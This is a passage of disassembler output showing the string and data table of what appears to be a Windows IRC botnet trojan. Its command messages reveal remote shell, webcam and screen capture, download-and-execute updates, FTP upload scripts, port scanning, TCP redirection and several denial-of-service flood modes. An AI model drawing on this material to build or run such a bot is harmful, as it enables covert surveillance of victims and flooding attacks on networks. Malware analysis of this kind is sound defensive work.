unk_429B7C	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E63o
		align 10h
unk_429BD0	db  2Dh	; -		; DATA XREF: sub_401ACD+7E25o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E13o
					; sub_401ACD+7E7Ao
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFCo
		align 10h
asc_429C50:				; DATA XREF: sub_401ACD+7DCCo
		unicode	0, <~>,0
unk_429C54	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
unk_429C78	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 10h
unk_429CA0	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_429CC4	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CE8	db  2Dh	; -		; DATA XREF: sub_401ACD+7C82o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429D0C	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 10h
dword_429D30	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Bo
		dd 2E732520h, 0
unk_429D4C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409685o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_429D78	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB1o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D9C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FDo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DC4	db  2Dh	; -		; DATA XREF: sub_401ACD+7B26o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Co
unk_429DF0	db  2Dh	; -		; DATA XREF: sub_401ACD+79FFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429E18	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B3o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E3C	db  2Dh	; -		; DATA XREF: sub_401ACD+79DCo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429E5C	db  2Dh	; -		; DATA XREF: sub_401ACD+79B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E84	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409468o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429EAC	db  2Dh	; -		; DATA XREF: sub_401ACD+796Do
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429ECC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7926o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429F1C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409399o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F4C	db  2Dh	; -		; DATA XREF: sub_401ACD+78C5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_429F70	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7885o
		dd 27732527h, 2Eh
unk_429F8C	db  2Dh	; -		; DATA XREF: sub_401ACD+7803o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429FB0	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7786o
		dd 0
unk_429FC8	db  2Dh	; -		; DATA XREF: sub_401ACD+7755o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_42A008	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E6o
		dd 2Eh
dword_42A020	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_409140o
		dd 746E6573h, 2Eh
unk_42A03C	db  2Dh	; -		; DATA XREF: sub_401ACD+766Co
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A05C	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+7630o
		dd 732520h
unk_42A074	db  2Dh	; -		; DATA XREF: sub_401ACD+7611o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42A0A0:				; DATA XREF: sub_401ACD+75F9o
					; sub_40F6B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A0A4	db  2Dh	; -		; DATA XREF: sub_401ACD+75CFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42A0C8	db  2Dh	; -		; DATA XREF: sub_401ACD+75C2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_42A0EC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_42A12C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409015o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_42A16C	db  2Dh	; -		; DATA XREF: sub_401ACD+753Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F87o
		align 10h
unk_42A1A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F74o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 4
unk_42A1D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_42A20C	db  2Dh	; -		; DATA XREF: sub_401ACD+7490o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE6o
		align 10h
unk_42A240	db  2Dh	; -		; DATA XREF: sub_401ACD+740Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
unk_42A268	db  2Dh	; -		; DATA XREF: sub_401ACD+73D9o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 10h
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E59o
unk_42A298	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E46o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_42A2D4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_42A304	db  2Dh	; -		; DATA XREF: sub_401ACD+7362o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFEo
		align 4
dword_42A338	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7319o
		dd 2E732520h, 0
unk_42A354	db  2Dh	; -		; DATA XREF: sub_401ACD+72D3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_42A384	db  2Dh	; -		; DATA XREF: sub_401ACD+72B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_42A3AC	db  2Dh	; -		; DATA XREF: sub_401ACD+720Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_42A3CC	db  2Dh	; -		; DATA XREF: sub_401ACD+71D6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_42A3EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7181o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42A408	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Fo
dword_42A41C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D5o
					; sub_401ACD+7C48o
unk_42A428	db  2Dh	; -		; DATA XREF: sub_401ACD+70B0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Fo
		align 10h
dword_42A450	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7074o
		dd 25203A29h, 73h
dword_42A46C	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7005o
		dd 203A2973h, 7325h
dword_42A488	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FAAo
dword_42A490	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F7Ao
		dd 203A2973h, 7325h
dword_42A4AC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F01o
dword_42A4B8	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECFo
					; sub_401ACD+6F58o ...
dword_42A4C0	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E96o
dword_42A4C8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E85o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A504	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E16o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42A530	db  2Dh	; -		; DATA XREF: sub_401ACD+6D86o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A56C	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Bo
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A5A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408746o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_42A5D4	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Eo
		dd 7325h
dword_42A5EC	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408674o
dword_42A600	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B63o
					; sub_401ACD+6C15o ...
dword_42A610	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D1o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A658	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AFAo
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A694	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Bo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E3o
		align 4
dword_42A6CC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6981o
		dd 7325203Ah, 0
unk_42A6E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6976o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A70C	db  2Dh	; -		; DATA XREF: sub_401ACD+68DCo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A748	db  2Dh	; -		; DATA XREF: sub_401ACD+6866o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A778	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Co
					; sub_401ACD:loc_409367o
unk_42A784	db  2Dh	; -		; DATA XREF: sub_401ACD+678Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A7A8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408235o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42A7E0	db  2Dh	; -		; DATA XREF: sub_401ACD+675Eo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A818	db  2Dh	; -		; DATA XREF: sub_401ACD+66EEo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A844	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Bo
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_42A880	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FCo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42A8B0	db  2Dh	; -		; DATA XREF: sub_401ACD+6583o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A8E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6514o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A918	db  2Dh	; -		; DATA XREF: sub_401ACD+648Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A950	db  2Dh	; -		; DATA XREF: sub_401ACD+641Bo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A980	db  2Dh	; -		; DATA XREF: sub_401ACD+63A2o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A9B8	db  2Dh	; -		; DATA XREF: sub_401ACD+6333o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A9F4	db  2Dh	; -		; DATA XREF: sub_401ACD+62BAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42AA34	db  2Dh	; -		; DATA XREF: sub_401ACD+624Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42AA60	db  2Dh	; -		; DATA XREF: sub_401ACD+617Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42AAA4	db  2Dh	; -		; DATA XREF: sub_401ACD+610Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42AAE0	db  2Dh	; -		; DATA XREF: sub_401ACD+6010o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F64o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E87o
		align 4
dword_42AB3C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF3o
					; sub_401ACD+715Bo
unk_42AB48	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AB84	db  2Dh	; -		; DATA XREF: sub_401ACD+5D20o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42ABD4	db  2Dh	; -		; DATA XREF: sub_401ACD+5C89o
					; sub_401ACD+607Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+5C1Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42AC74	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 4
unk_42ACA8	db  2Dh	; -		; DATA XREF: sub_401ACD+5A47o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42ACDC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F4o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+5920o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5907o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58F0o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CDo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A9o
					; ___:00411C62o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5898o
		align 4
unk_42AD7C	db  2Dh	; -		; DATA XREF: sub_401ACD+584Eo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Bo
		align 4
unk_42ADA4	db  2Dh	; -		; DATA XREF: sub_401ACD+57F5o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42ADE4	db  2Dh	; -		; DATA XREF: sub_401ACD+5798o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AE1C	db  2Dh	; -		; DATA XREF: sub_401ACD+572Do
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AE64	db  2Dh	; -		; DATA XREF: sub_401ACD+567Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42AE98	db  2Dh	; -		; DATA XREF: sub_401ACD+5648o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42AECC	db  2Dh	; -		; DATA XREF: sub_401ACD+5624o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AF04	db  2Dh	; -		; DATA XREF: sub_401ACD+5582o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5565o
		align 4
unk_42AF58	db  2Dh	; -		; DATA XREF: sub_401ACD+5550o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AF90	db  2Dh	; -		; DATA XREF: sub_401ACD+54E1o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42AFD8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406F00o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 10h
unk_42B010	db  2Dh	; -		; DATA XREF: sub_401ACD+5429o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42B048	db  2Dh	; -		; DATA XREF: sub_401ACD+53AFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
